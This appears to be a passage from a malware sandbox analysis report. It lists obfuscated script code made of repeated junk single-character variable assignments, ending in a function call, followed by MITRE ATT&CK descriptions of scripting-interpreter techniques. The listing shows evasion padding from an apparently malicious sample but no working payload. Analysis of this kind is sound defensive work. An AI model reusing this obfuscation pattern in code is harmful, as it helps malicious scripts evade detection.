377	immktb = "R";
378	immktb = "x";
379	immktb = "\\";
380	gtxva = "t";
381	gtxva = "H";
382	gtxva = "o";
383	gtxva = "M";
384	gtxva = "Z";
385	gtxva = "R";
386	gtxva = "B";
387	gtxva = "r";
388	gtxva = "D";
389	gtxva = "R";
390	gtxva = "H";
391	gtxva = "R";
392	gtxva = "O";
393	gtxva = "b";
394	gtxva = "F";
395	gtxva = "t";
396	gtxva = "p";
397	gtxva = "Q";
398	gtxva = "i";
399	gtxva = "y";
400	gtxva = "m";
401	gtxva = "p";
402	gtxva = "s";
403	gtxva = "l";
404	gtxva = "q";
405	gtxva = "U";
406	gtxva = "u";
407	gtxva = "P";
408	gtxva = "B";
409	gtxva = "T";
410	gtxva = "n";
411	gtxva = "L";
412	gtxva = "F";
413	gtxva = "g";
414	gtxva = "z";
415	gtxva = "s";
416	gtxva = "M";
417	gtxva = "g";
418	gtxva = "c";
419	gtxva = "n";
420	gtxva = "R";
421	gtxva = "N";
422	gtxva = "L";
423	gtxva = "p";
424	gtxva = "n";
425	vlihldx = "k";
426	vlihldx = "V";
427	vlihldx = "C";
428	vlihldx = "M";
429	vlihldx = "S";
430	vlihldx = "D";
431	vlihldx = "r";
432	vlihldx = "O";
433	vlihldx = "M";
434	vlihldx = "F";
435	vlihldx = "S";
436	vlihldx = "U";
437	vlihldx = "E";
438	vlihldx = "b";
439	vlihldx = "J";
440	vlihldx = "C";
441	vlihldx = "s";
442	vlihldx = "u";
443	vlihldx = "n";
444	vlihldx = "f";
445	vlihldx = "a";
446	vlihldx = "h";
447	dpeavrhcy = "x";
448	dpeavrhcy = "f";
449	dpeavrhcy = "j";
450	dpeavrhcy = "C";
451	dpeavrhcy = "f";
452	dpeavrhcy = "J";
453	dpeavrhcy = "Q";
454	dpeavrhcy = "i";
455	dpeavrhcy = "s";
456	dpeavrhcy = "w";
457	dpeavrhcy = "m";
458	dpeavrhcy = "K";
459	dpeavrhcy = "d";
460	dpeavrhcy = "l";
461	dpeavrhcy = "L";
462	dpeavrhcy = "C";
463	dpeavrhcy = "o";
464	dpeavrhcy = "x";
465	dpeavrhcy = "h";
466	dpeavrhcy = "V";
467	dpeavrhcy = "k";
468	dpeavrhcy = "O";
469	dpeavrhcy = "E";
470	dpeavrhcy = "N";
471	dpeavrhcy = "w";
472	dpeavrhcy = "E";
473	dpeavrhcy = "K";
474	hdcvybi = "m";
475	hdcvybi = "X";
476	hdcvybi = "w";
477	hdcvybi = "c";
478	hdcvybi = "W";
479	hdcvybi = "x";
480	hdcvybi = "w";
481	hdcvybi = "W";
482	hdcvybi = "d";
483	hdcvybi = "u";
484	hdcvybi = "G";
485	hdcvybi = "h";
486	hdcvybi = "S";
487	hdcvybi = "G";
488	hdcvybi = "O";
489	hdcvybi = "N";
490	hdcvybi = "l";
491	hdcvybi = "Y";
492	hdcvybi = "Z";
493	hdcvybi = "l";
494	hdcvybi = "Q";
495	hdcvybi = "w";
496	hdcvybi = "w";
497	hdcvybi = "s";
498	hdcvybi = "\"";
499	nlkkehj = "a";
500	nlkkehj = "Y";
501	nlkkehj = "s";
502	nlkkehj = "f";
503	nlkkehj = "Q";
504	nlkkehj = "W";
505	nlkkehj = "G";
506	nlkkehj = "a";
507	nlkkehj = "l";
508	nlkkehj = "v";
509	nlkkehj = "H";
510	nlkkehj = "Q";
511	nlkkehj = "D";
512	nlkkehj = "O";
513	nlkkehj = "d";
514	nlkkehj = "X";
515	nlkkehj = "j";
516	nlkkehj = "b";
517	nlkkehj = "E";
518	nlkkehj = "f";
519	xrdouuuqn = "J";
520	xrdouuuqn = "m";
521	xrdouuuqn = "c";
522	xrdouuuqn = "X";
523	xrdouuuqn = "U";
524	xrdouuuqn = "J";
525	xrdouuuqn = "e";
526	xrdouuuqn = "a";
527	xrdouuuqn = "E";
528	xrdouuuqn = "t";
529	xrdouuuqn = "k";
530	xrdouuuqn = "d";
531	xrdouuuqn = "y";
532	xrdouuuqn = "S";
533	xrdouuuqn = "H";
534	xrdouuuqn = "c";
535	xrdouuuqn = "Q";
536	xrdouuuqn = "Q";
537	xrdouuuqn = "V";
538	xrdouuuqn = "h";
539	xrdouuuqn = "Y";
540	xrdouuuqn = "S";
541	xrdouuuqn = "P";
542	xrdouuuqn = "u";
543	xrdouuuqn = "c";
544	xrdouuuqn = "Y";
545	xrdouuuqn = "n";
546	xrdouuuqn = "o";
547	xrdouuuqn = "Y";
548	xrdouuuqn = "c";
549	xrdouuuqn = "g";
550	xrdouuuqn = "P";
551	xrdouuuqn = "L";
552	xrdouuuqn = "3";
553	heakhz = "Z";
554	heakhz = "F";
555	heakhz = "q";
556	heakhz = "H";
557	heakhz = "v";
558	heakhz = "O";
559	heakhz = "b";
560	heakhz = "w";
561	heakhz = "p";
562	heakhz = "m";
563	heakhz = "z";
564	heakhz = "B";
565	heakhz = "z";
566	heakhz = "J";
567	heakhz = "Z";
568	heakhz = "h";
569	heakhz = "V";
570	heakhz = "k";
571	heakhz = "E";
572	heakhz = "w";
573	heakhz = "o";
574	heakhz = ":";
575	drugnosm = "h";
576	drugnosm = "A";
577	drugnosm = "s";
578	drugnosm = "O";
579	drugnosm = "N";
580	drugnosm = "n";
581	drugnosm = "Q";
582	drugnosm = "w";
583	drugnosm = "K";
584	drugnosm = "g";
585	drugnosm = "c";
586	drugnosm = "X";
587	drugnosm = "e";
588	drugnosm = "q";
589	drugnosm = "p";
590	drugnosm = "j";
591	drugnosm = "s";
592	drugnosm = "A";
593	drugnosm = "U";
594	drugnosm = "f";
595	drugnosm = "b";
596	drugnosm = "e";
597	drugnosm = "G";
598	drugnosm = "B";
599	drugnosm = "T";
600	drugnosm = "s";
601	drugnosm = "h";
602	drugnosm = "D";
603	drugnosm = "U";
604	ycwfkampw = "T";
605	ycwfkampw = "j";
606	ycwfkampw = "u";
607	ycwfkampw = "p";
608	ycwfkampw = "w";
609	ycwfkampw = "J";
610	ycwfkampw = "n";
611	ycwfkampw = "k";
612	ycwfkampw = "R";
613	ycwfkampw = "D";
614	ycwfkampw = "b";
615	ycwfkampw = "C";
616	ycwfkampw = "L";
617	ycwfkampw = "A";
618	ycwfkampw = "y";
619	ycwfkampw = "B";
620	ycwfkampw = "e";
621	ycwfkampw = "s";
622	ycwfkampw = "j";
623	ycwfkampw = "Q";
624	ycwfkampw = "h";
625	ycwfkampw = "i";
626	ycwfkampw = "t";
627	ycwfkampw = "J";
628	ycwfkampw = "n";
629	ycwfkampw = "X";
630	ycwfkampw = "t";
631	ycwfkampw = "j";
632	ycwfkampw = "j";
633	ycwfkampw = "9";
634	irgvmk = "o";
635	irgvmk = "G";
636	irgvmk = "M";
637	irgvmk = "T";
638	irgvmk = "V";
639	irgvmk = "V";
640	irgvmk = "m";
641	irgvmk = "k";
642	irgvmk = "D";
643	irgvmk = "v";
644	irgvmk = "E";
645	irgvmk = "S";
646	irgvmk = "h";
647	irgvmk = "O";
648	irgvmk = "O";
649	irgvmk = "x";
650	irgvmk = "F";
651	irgvmk = "u";
652	irgvmk = "W";
653	irgvmk = "b";
654	irgvmk = "y";
655	irgvmk = "p";
656	irgvmk = "c";
657	irgvmk = "m";
658	irgvmk = "l";
659	irgvmk = "b";
660	irgvmk = "P";
661	irgvmk = "c";
662	irgvmk = "u";
663	irgvmk = "X";
664	irgvmk = "E";
665	irgvmk = "t";
666	irgvmk = "d";
667	irgvmk = "M";
668	irgvmk = "b";
669	irgvmk = "Z";
670	irgvmk = "i";
671	irgvmk = "Z";
672	irgvmk = "e";
673	irgvmk = "l";
674	irgvmk = "O";
675	irgvmk = "-";
676	eawzrkfid = "o";
677	eawzrkfid = "z";
678	eawzrkfid = "o";
679	eawzrkfid = "V";
680	eawzrkfid = "w";
681	eawzrkfid = "m";
682	eawzrkfid = "y";
683	eawzrkfid = "R";
684	eawzrkfid = "M";
685	eawzrkfid = "i";
686	eawzrkfid = "v";
687	eawzrkfid = "Z";
688	eawzrkfid = "m";
689	eawzrkfid = "F";
690	eawzrkfid = "b";
691	eawzrkfid = "S";
692	eawzrkfid = "D";
693	eawzrkfid = "F";
694	imaecbsx = "j";
695	imaecbsx = "T";
696	imaecbsx = "Y";
697	imaecbsx = "r";
698	imaecbsx = "n";
699	imaecbsx = "C";
700	imaecbsx = "n";
701	imaecbsx = "i";
702	imaecbsx = "m";
703	imaecbsx = "b";
704	dfizv = "s";
705	dfizv = "k";
706	dfizv = "n";
707	dfizv = "w";
708	dfizv = "t";
709	dfizv = "e";
710	dfizv = "y";
711	dfizv = "D";
712	dfizv = "p";
713	dfizv = "k";
714	dfizv = "C";
715	dfizv = "D";
716	dfizv = "M";
717	dfizv = "F";
718	dfizv = "r";
719	dfizv = "i";
720	dfizv = "J";
721	dfizv = "b";
722	dfizv = "n";
723	dfizv = "h";
724	dfizv = "s";
725	dfizv = "C";
726	dfizv = "A";
727	dfizv = "R";
728	dfizv = "U";
729	dfizv = "M";
730	dfizv = "N";
731	dfizv = "4";
732	teooze = "a";
733	teooze = "C";
734	teooze = "I";
735	teooze = "r";
736	teooze = "v";
737	teooze = "F";
738	teooze = "N";
739	teooze = "R";
740	teooze = "x";
741	teooze = "d";
742	teooze = "R";
743	teooze = "R";
744	teooze = "&";
745	sufqch = "W";
746	sufqch = "r";
747	sufqch = "k";
748	sufqch = "H";
749	sufqch = "E";
750	sufqch = "c";
751	sufqch = "G";
752	sufqch = "F";
753	sufqch = "o";
754	sufqch = "K";
755	sufqch = "F";
756	sufqch = "o";
757	sufqch = "C";
758	sufqch = "r";
759	sufqch = "C";
760	sufqch = "T";
761	sufqch = "M";
762	sufqch = "/";
763	uyjmini = "w";
764	uyjmini = "G";
765	uyjmini = "I";
766	uyjmini = "p";
767	uyjmini = "Y";
768	uyjmini = "C";
769	uyjmini = "z";
770	uyjmini = "G";
771	uyjmini = "B";
772	uyjmini = "B";
773	uyjmini = "u";
774	uyjmini = "K";
775	uyjmini = "j";
776	uyjmini = "U";
777	uyjmini = "h";
778	uyjmini = "c";
779	uyjmini = "L";
780	uyjmini = "m";
781	uyjmini = "O";
782	uyjmini = "w";
783	uyjmini = "Q";
784	uyjmini = "S";
785	uyjmini = "n";
786	uyjmini = "J";
787	uyjmini = "v";
788	xsremwwqe = "p";
789	xsremwwqe = "Q";
790	xsremwwqe = "K";
791	xsremwwqe = "Z";
792	xsremwwqe = "N";
793	xsremwwqe = "k";
794	xsremwwqe = "N";
795	xsremwwqe = "X";
796	xsremwwqe = "W";
797	xsremwwqe = "C";
798	xsremwwqe = "S";
799	xsremwwqe = "W";
800	xsremwwqe = "Q";
801	xsremwwqe = "V";
802	xsremwwqe = "Y";
803	xsremwwqe = "r";
804	xsremwwqe = "S";
805	xsremwwqe = "J";
806	xsremwwqe = "X";
807	xsremwwqe = "p";
808	xsremwwqe = "u";
809	xsremwwqe = "Y";
810	xsremwwqe = "S";
811	xsremwwqe = "J";
812	xsremwwqe = "r";
813	xsremwwqe = "y";
814	xsremwwqe = "A";
815	xsremwwqe = "t";
816	xsremwwqe = "x";
817	xsremwwqe = "j";
818	xsremwwqe = "k";
819	xsremwwqe = "d";
820	xsremwwqe = "w";
821	xsremwwqe = "s";
822	xsremwwqe = "k";
823	xsremwwqe = "r";
824	xsremwwqe = "g";
825	xsremwwqe = "E";
826	xsremwwqe = "l";
827	xsremwwqe = "S";
828	xsremwwqe = "S";
829	xsremwwqe = "J";
830	xsremwwqe = "w";
831	hlnjqdusf = "z";
832	hlnjqdusf = "K";
833	hlnjqdusf = "n";
834	hlnjqdusf = "D";
835	hlnjqdusf = "h";
836	hlnjqdusf = "g";
837	hlnjqdusf = "n";
838	hlnjqdusf = "p";
839	hlnjqdusf = "W";
840	hlnjqdusf = "F";
841	hlnjqdusf = "v";
842	hlnjqdusf = "p";
843	hlnjqdusf = ".";
844	qujowmt = "R";
845	qujowmt = "v";
846	qujowmt = "c";
847	qujowmt = "L";
848	qujowmt = "B";
849	qujowmt = "y";
850	qujowmt = "T";
851	qujowmt = "e";
852	qujowmt = "S";
853	qujowmt = "I";
854	qujowmt = "d";
855	qujowmt = "x";
856	qujowmt = "Q";
857	qujowmt = "E";
858	qujowmt = "A";
859	qujowmt = "c";
860	qujowmt = "E";
861	qujowmt = "v";
862	qujowmt = "T";
863	qujowmt = "N";
864	qujowmt = "b";
865	qujowmt = "e";
866	qujowmt = "B";
867	qujowmt = "k";
868	qujowmt = "k";
869	qujowmt = "P";
870	qujowmt = "s";
871	qujowmt = "e";
872	qujowmt = "l";
873	tzsehydlb = "E";
874	tzsehydlb = "F";
875	tzsehydlb = "I";
876	tzsehydlb = "c";
877	tzsehydlb = "G";
878	tzsehydlb = "O";
879	scshs = "j";
880	scshs = "H";
881	scshs = "d";
882	scshs = "m";
883	scshs = "w";
884	scshs = "K";
885	scshs = "V";
886	scshs = "F";
887	scshs = "x";
888	scshs = "c";
889	scshs = "L";
890	scshs = "e";
891	scshs = "v";
892	scshs = "v";
893	scshs = "j";
894	scshs = "E";
895	scshs = "G";
896	scshs = "A";
897	scshs = "m";
898	enrjcacv = "I";
899	enrjcacv = "f";
900	enrjcacv = "F";
901	enrjcacv = "A";
902	enrjcacv = "T";
903	enrjcacv = "n";
904	enrjcacv = "R";
905	enrjcacv = "l";
906	enrjcacv = "i";
907	enrjcacv = "P";
908	enrjcacv = "V";
909	enrjcacv = "i";
910	enrjcacv = "D";
911	enrjcacv = "I";
912	enrjcacv = "i";
913	enrjcacv = "E";
914	enrjcacv = "B";
915	enrjcacv = "l";
916	enrjcacv = "u";
917	wodpzthi = "p";
918	wodpzthi = "i";
919	wodpzthi = "o";
920	wodpzthi = "Y";
921	wodpzthi = "U";
922	wodpzthi = "q";
923	wodpzthi = "A";
924	wodpzthi = "G";
925	wodpzthi = "O";
926	wodpzthi = "e";
927	wodpzthi = "j";
928	wodpzthi = "i";
929	wodpzthi = "i";
930	wodpzthi = "T";
931	wodpzthi = "I";
932	fstbfc = "r";
933	ospmpug = "K";
934	ospmpug = "S";
935	ospmpug = "G";
936	ospmpug = "Q";
937	ospmpug = "z";
938	ospmpug = "p";
939	ospmpug = "c";
940	ospmpug = "U";
941	ospmpug = "Q";
942	ospmpug = "D";
943	ospmpug = "U";
944	ospmpug = "X";
945	ospmpug = "o";
946	ospmpug = "t";
947	ospmpug = "G";
948	ospmpug = "D";
949	ospmpug = "t";
950	ospmpug = "f";
951	ospmpug = "v";
952	ospmpug = "b";
953	ospmpug = "l";
954	ospmpug = "d";
955	ospmpug = "y";
956	ospmpug = "w";
957	ospmpug = "v";
958	ospmpug = "F";
959	ospmpug = "C";
960	ospmpug = "O";
961	ospmpug = "f";
962	ospmpug = "o";
963	ospmpug = "s";
964	ospmpug = "T";
965	ospmpug = "H";
966	imaek = "D";
967	imaek = "j";
968	imaek = "E";
969	imaek = "R";
970	imaek = "R";
971	imaek = "w";
972	imaek = "D";
973	imaek = "f";
974	imaek = "K";
975	imaek = "g";
976	imaek = "z";
977	imaek = "U";
978	imaek = "o";
979	imaek = "b";
980	imaek = "I";
981	imaek = "d";
982	imaek = "c";
983	imaek = "J";
984	imaek = "H";
985	imaek = "V";
986	imaek = "%";
987	ggjhnpvs = "X";
988	ggjhnpvs = "S";
989	ggjhnpvs = "n";
990	ggjhnpvs = "O";
991	ggjhnpvs = "h";
992	ggjhnpvs = "n";
993	ggjhnpvs = "j";
994	ggjhnpvs = "J";
995	ggjhnpvs = "z";
996	ggjhnpvs = "m";
997	ggjhnpvs = "w";
998	ggjhnpvs = "d";
999	ggjhnpvs = "W";
1000	ggjhnpvs = "U";
1001	ggjhnpvs = "t";
1002	ggjhnpvs = "i";
1003	ggjhnpvs = "D";
1004	ggjhnpvs = "S";
1005	ggjhnpvs = "H";
1006	ggjhnpvs = "X";
1007	ggjhnpvs = "S";
1008	ggjhnpvs = "i";
1009	ggjhnpvs = "D";
1010	ggjhnpvs = "y";
1011	ggjhnpvs = "w";
1012	ggjhnpvs = "a";
1013	ggjhnpvs = "I";
1014	ggjhnpvs = "n";
1015	ggjhnpvs = "t";
1016	ggjhnpvs = "R";
1017	dtiygfx = "k";
1018	dtiygfx = "c";
1019	dtiygfx = "B";
1020	dtiygfx = "g";
1021	dtiygfx = "j";
1022	dtiygfx = "T";
1023	dtiygfx = "v";
1024	dtiygfx = "I";
1025	dtiygfx = "S";
1026	dtiygfx = "e";
1027	dtiygfx = "n";
1028	dtiygfx = "R";
1029	dtiygfx = "H";
1030	dtiygfx = "V";
1031	dtiygfx = "q";
1032	dtiygfx = "p";
1033	dtiygfx = "H";
1034	dtiygfx = "M";
1035	dtiygfx = "X";
1036	dtiygfx = "x";
1037	dtiygfx = "p";
1038	dtiygfx = "Y";
1039	dtiygfx = "C";
1040	dtiygfx = "b";
1041	dtiygfx = "j";
1042	dtiygfx = "Q";
1043	dtiygfx = "h";
1044	dtiygfx = "U";
1045	dtiygfx = "P";
1046	dtiygfx = "p";
1047	dtiygfx = "S";
1048	dtiygfx = "B";
1049	dtiygfx = "h";
1050	dtiygfx = "u";
1051	dtiygfx = "j";
1052	dtiygfx = "R";
1053	dtiygfx = "K";
1054	dtiygfx = "t";
1055	dtiygfx = "M";
1056	dtiygfx = "j";
1057	dtiygfx = "W";
1058	oxpxzop = "c";
1059	oxpxzop = "N";
1060	oxpxzop = "O";
1061	oxpxzop = "V";
1062	oxpxzop = "O";
1063	oxpxzop = "V";
1064	oxpxzop = "k";
1065	oxpxzop = "J";
1066	oxpxzop = "a";
1067	oxpxzop = "T";
1068	oxpxzop = "T";
1069	oxpxzop = "d";
1070	oxpxzop = "R";
1071	oxpxzop = "d";
1072	oxpxzop = "m";
1073	oxpxzop = "n";
1074	oxpxzop = "J";
1075	oxpxzop = "l";
1076	oxpxzop = "D";
1077	oxpxzop = "c";
1078	mujtywr = "a";
1079	mujtywr = "c";
1080	mujtywr = "y";
1081	mujtywr = "D";
1082	mujtywr = "x";
1083	mujtywr = "p";
1084	mujtywr = "E";
1085	owiumhzpz = "x";
1086	owiumhzpz = "e";
1087	owiumhzpz = "Q";
1088	owiumhzpz = "c";
1089	owiumhzpz = "N";
1090	owiumhzpz = "E";
1091	owiumhzpz = "y";
1092	owiumhzpz = "A";
1093	owiumhzpz = "j";
1094	owiumhzpz = "h";
1095	owiumhzpz = "y";
1096	owiumhzpz = "N";
1097	owiumhzpz = "o";
1098	owiumhzpz = "I";
1099	owiumhzpz = "b";
1100	owiumhzpz = "z";
1101	owiumhzpz = "U";
1102	owiumhzpz = "w";
1103	owiumhzpz = "Q";
1104	owiumhzpz = "i";
1105	owiumhzpz = "h";
1106	owiumhzpz = "j";
1107	owiumhzpz = "n";
1108	owiumhzpz = "z";
1109	owiumhzpz = "o";
1110	owiumhzpz = "h";
1111	owiumhzpz = "H";
1112	owiumhzpz = "S";
1113	owiumhzpz = "h";
1114	owiumhzpz = "_";
1115	ijdhivi = "A";
1116	ijdhivi = "y";
1117	ijdhivi = "T";
1118	ijdhivi = "J";
1119	ijdhivi = "K";
1120	ijdhivi = "Z";
1121	ijdhivi = "I";
1122	ijdhivi = "q";
1123	ijdhivi = "z";
1124	ijdhivi = "x";
1125	ijdhivi = "w";
1126	ijdhivi = "k";
1127	xkxwkrzu = "s";
1128	xkxwkrzu = "C";
1129	xkxwkrzu = "J";
1130	xkxwkrzu = "j";
1131	xkxwkrzu = "y";
1132	xkxwkrzu = "z";
1133	xkxwkrzu = "c";
1134	xkxwkrzu = "T";
1135	xkxwkrzu = "h";
1136	xkxwkrzu = "R";
1137	xkxwkrzu = "d";
1138	xkxwkrzu = "z";
1139	xkxwkrzu = "A";
1140	xkxwkrzu = "H";
1141	xkxwkrzu = "M";
1142	xkxwkrzu = "C";
1143	xkxwkrzu = "j";
1144	xkxwkrzu = "S";
1145	xkxwkrzu = "U";
1146	xkxwkrzu = "D";
1147	xkxwkrzu = "Q";
1148	xkxwkrzu = "P";
1149	xkxwkrzu = "p";
1150	xkxwkrzu = "E";
1151	xkxwkrzu = "t";
1152	jwtcb = "R";
1153	jwtcb = "t";
1154	jwtcb = "A";
1155	jwtcb = "E";
1156	jwtcb = "c";
1157	jwtcb = "N";
1158	jwtcb = "o";
1159	jwtcb = "F";
1160	jwtcb = "p";
1161	jwtcb = "v";
1162	jwtcb = "U";
1163	jwtcb = "N";
1164	jwtcb = "K";
1165	jwtcb = "E";
1166	jwtcb = "T";
1167	jwtcb = "d";
1168	jwtcb = "v";
1169	jwtcb = "Z";
1170	jwtcb = "z";
1171	jwtcb = "z";
1172	jwtcb = "j";
1173	jwtcb = "A";
1174	jwtcb = "k";
1175	jwtcb = "P";
1176	vlwxkc = "X";
1177	vlwxkc = "I";
1178	vlwxkc = "j";
1179	vlwxkc = "S";
1180	vlwxkc = "m";
1181	vlwxkc = "A";
1182	vlwxkc = "k";
1183	vlwxkc = "x";
1184	vlwxkc = "e";
1185	vlwxkc = "J";
1186	vlwxkc = "@";
1187	wwvxnabl = "m";
1188	wwvxnabl = "m";
1189	wwvxnabl = "v";
1190	wwvxnabl = "Z";
1191	wwvxnabl = "p";
1192	wwvxnabl = "e";
1193	wwvxnabl = "G";
1194	wwvxnabl = "s";
1195	wwvxnabl = "a";
1196	wwvxnabl = "o";
1197	wwvxnabl = "y";
1198	wwvxnabl = "U";
1199	wwvxnabl = "N";
1200	wwvxnabl = "y";
1201	wwvxnabl = "X";
1202	wwvxnabl = "V";
1203	wwvxnabl = "f";
1204	wwvxnabl = "x";
1205	wwvxnabl = "F";
1206	wwvxnabl = "m";
1207	wwvxnabl = "d";
1208	ztymiu = "b";
1209	ztymiu = "E";
1210	ztymiu = "c";
1211	ztymiu = "c";
1212	ztymiu = "L";
1213	ztymiu = "z";
1214	ztymiu = "N";
1215	ztymiu = "v";
1216	ztymiu = "n";
1217	ztymiu = "c";
1218	ztymiu = "X";
1219	ztymiu = "o";
1220	ztymiu = "a";
1221	ztymiu = "t";
1222	ztymiu = "e";
1223	ztymiu = "k";
1224	ztymiu = "Q";
1225	ztymiu = "t";
1226	ztymiu = "w";
1227	ztymiu = "m";
1228	ztymiu = "V";
1229	ztymiu = "r";
1230	ztymiu = "F";
1231	ztymiu = "Z";
1232	ztymiu = "r";
1233	ztymiu = "n";
1234	ztymiu = "Q";
1235	ztymiu = "C";
1236	ztymiu = "y";
1237	ztymiu = "l";
1238	ztymiu = "g";
1239	vtvabxr = "B";
1240	vtvabxr = "U";
1241	vtvabxr = "s";
1242	vtvabxr = "V";
1243	vtvabxr = "C";
1244	vtvabxr = "d";
1245	vtvabxr = "Q";
1246	vtvabxr = "t";
1247	vtvabxr = "Z";
1248	vtvabxr = "M";
1249	vtvabxr = "i";
1250	vtvabxr = "D";
1251	vtvabxr = "d";
1252	vtvabxr = "x";
1253	vtvabxr = "r";
1254	vtvabxr = "a";
1255	vtvabxr = "G";
1256	vtvabxr = "v";
1257	vtvabxr = "I";
1258	vtvabxr = "j";
1259	vtvabxr = "O";
1260	vtvabxr = "i";
1261	vtvabxr = "p";
1262	vtvabxr = "B";
1263	vtvabxr = "M";
1264	vtvabxr = "q";
1265	vtvabxr = "V";
1266	vtvabxr = "f";
1267	vtvabxr = "S";
1268	vtvabxr = "m";
1269	vtvabxr = "L";
1270	vtvabxr = "W";
1271	vtvabxr = "T";
1272	cppjucyxy = "x";
1273	duozednlf = "x";
1274	duozednlf = "U";
1275	duozednlf = "f";
1276	duozednlf = "Y";
1277	duozednlf = "H";
1278	duozednlf = "B";
1279	duozednlf = "m";
1280	duozednlf = "P";
1281	duozednlf = "n";
1282	duozednlf = "G";
1283	duozednlf = "u";
1284	duozednlf = "n";
1285	duozednlf = "K";
1286	duozednlf = "a";
1287	duozednlf = "f";
1288	duozednlf = "K";
1289	duozednlf = "R";
1290	duozednlf = "w";
1291	duozednlf = "D";
1292	duozednlf = "Y";
1293	duozednlf = "p";
1294	duozednlf = "u";
1295	duozednlf = "T";
1296	duozednlf = "z";
1297	duozednlf = "n";
1298	duozednlf = "k";
1299	duozednlf = "S";
1300	duozednlf = "W";
1301	duozednlf = "T";
1302	duozednlf = "d";
1303	duozednlf = "H";
1304	duozednlf = "R";
1305	duozednlf = "R";
1306	duozednlf = "V";
1307	duozednlf = "C";
1308	duozednlf = "e";
1309	duozednlf = "B";
1310	duozednlf = "c";
1311	duozednlf = "t";
1312	duozednlf = "i";
1313	duozednlf = "C";
1314	uxect = "f";
1315	uxect = "t";
1316	uxect = "f";
1317	uxect = "b";
1318	uxect = "s";
1319	uxect = "m";
1320	uxect = "q";
1321	uxect = "M";
1322	uxect = "I";
1323	uxect = "J";
1324	uxect = "Z";
1325	uxect = "P";
1326	uxect = "V";
1327	uxect = "i";
1328	uxect = "N";
1329	uxect = "v";
1330	uxect = "r";
1331	uxect = "s";
1332	uxect = "X";
1333	uxect = "h";
1334	uxect = "z";
1335	uxect = "Q";
1336	uxect = "V";
1337	uxect = "s";
1338	uxect = "i";
1339	uxect = "a";
1340	uxect = "w";
1341	uxect = "b";
1342	uxect = "b";
1343	uxect = "m";
1344	uxect = "K";
1345	uxect = "E";
1346	uxect = "b";
1347	uxect = "K";
1348	uxect = "d";
1349	uxect = "6";
1350	oilsvwd = "Y";
1351	oilsvwd = "r";
1352	oilsvwd = "s";
1353	oilsvwd = "T";
1354	oilsvwd = "T";
1355	oilsvwd = "A";
1356	oilsvwd = "E";
1357	oilsvwd = "p";
1358	oilsvwd = "R";
1359	oilsvwd = "X";
1360	oilsvwd = "K";
1361	oilsvwd = "m";
1362	oilsvwd = "T";
1363	oilsvwd = "A";
1364	oilsvwd = "w";
1365	oilsvwd = "V";
1366	oilsvwd = "p";
1367	oilsvwd = "H";
1368	oilsvwd = "V";
1369	oilsvwd = "j";
1370	oilsvwd = "u";
1371	oilsvwd = "T";
1372	oilsvwd = "A";
1373	oilsvwd = "r";
1374	oilsvwd = "V";
1375	oilsvwd = "q";
1376	oilsvwd = "a";
1377	oilsvwd = "E";
1378	oilsvwd = "T";
1379	oilsvwd = "w";
1380	oilsvwd = "e";
1381	oilsvwd = "Y";
1382	oilsvwd = "5";
1383	hwusi = "p";
1384	hwusi = "X";
1385	hwusi = "o";
1386	hwusi = "h";
1387	hwusi = "R";
1388	hwusi = "Y";
1389	hwusi = "u";
1390	hwusi = "M";
1391	hwusi = "1";
1392	rdpdkolqu = "L";
1393	rdpdkolqu = "z";
1394	rdpdkolqu = "l";
1395	rdpdkolqu = "y";
1396	rdpdkolqu = "b";
1397	rdpdkolqu = "l";
1398	rdpdkolqu = "p";
1399	rdpdkolqu = "O";
1400	rdpdkolqu = "M";
1401	rdpdkolqu = "w";
1402	rdpdkolqu = "y";
1403	rdpdkolqu = "k";
1404	rdpdkolqu = "S";
1405	rdpdkolqu = "F";
1406	rdpdkolqu = "t";
1407	rdpdkolqu = "x";
1408	rdpdkolqu = "J";
1409	rdpdkolqu = "B";
1410	rdpdkolqu = "K";
1411	rdpdkolqu = "r";
1412	rdpdkolqu = "k";
1413	rdpdkolqu = "O";
1414	rdpdkolqu = "y";
1415	rdpdkolqu = "C";
1416	rdpdkolqu = "c";
1417	rdpdkolqu = "f";
1418	rdpdkolqu = "W";
1419	rdpdkolqu = "S";
1420	rdpdkolqu = "p";
1421	rdpdkolqu = "W";
1422	rdpdkolqu = "f";
1423	rdpdkolqu = "I";
1424	rdpdkolqu = "M";
1425	rdpdkolqu = "n";
1426	rdpdkolqu = "J";
1427	rdpdkolqu = "p";
1428	uxdiayog = "w";
1429	uxdiayog = "s";
1430	sendyp = "X";
1431	sendyp = "I";
1432	sendyp = "T";
1433	sendyp = "e";
1434	sendyp = "m";
1435	sendyp = "Q";
1436	sendyp = "N";
1437	sendyp = "Z";
1438	sendyp = "X";
1439	sendyp = "m";
1440	sendyp = "n";
1441	sendyp = "u";
1442	sendyp = "n";
1443	sendyp = "X";
1444	sendyp = "b";
1445	sendyp = "S";
1446	sendyp = "j";
1447	sendyp = "h";
1448	sendyp = "w";
1449	sendyp = "h";
1450	sendyp = "R";
1451	sendyp = "T";
1452	sendyp = "t";
1453	sendyp = "Z";
1454	sendyp = "E";
1455	sendyp = "i";
1456	sendyp = "M";
1457	sendyp = "Y";
1458	lenjzxxj = "o";
1459	lenjzxxj = "k";
1460	lenjzxxj = "Q";
1461	lenjzxxj = "g";
1462	lenjzxxj = "o";
1463	lenjzxxj = "m";
1464	lenjzxxj = "b";
1465	lenjzxxj = "i";
1466	lenjzxxj = "W";
1467	lenjzxxj = "a";
1468	lenjzxxj = "u";
1469	lenjzxxj = "h";
1470	lenjzxxj = "d";
1471	lenjzxxj = "2";
1472	dciezjqdz = "D";
1473	dciezjqdz = "z";
1474	dciezjqdz = "t";
1475	dciezjqdz = "L";
1476	dciezjqdz = "r";
1477	dciezjqdz = "u";
1478	dciezjqdz = "E";
1479	dciezjqdz = "S";
1480	bgquyc ( );	bgquyc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

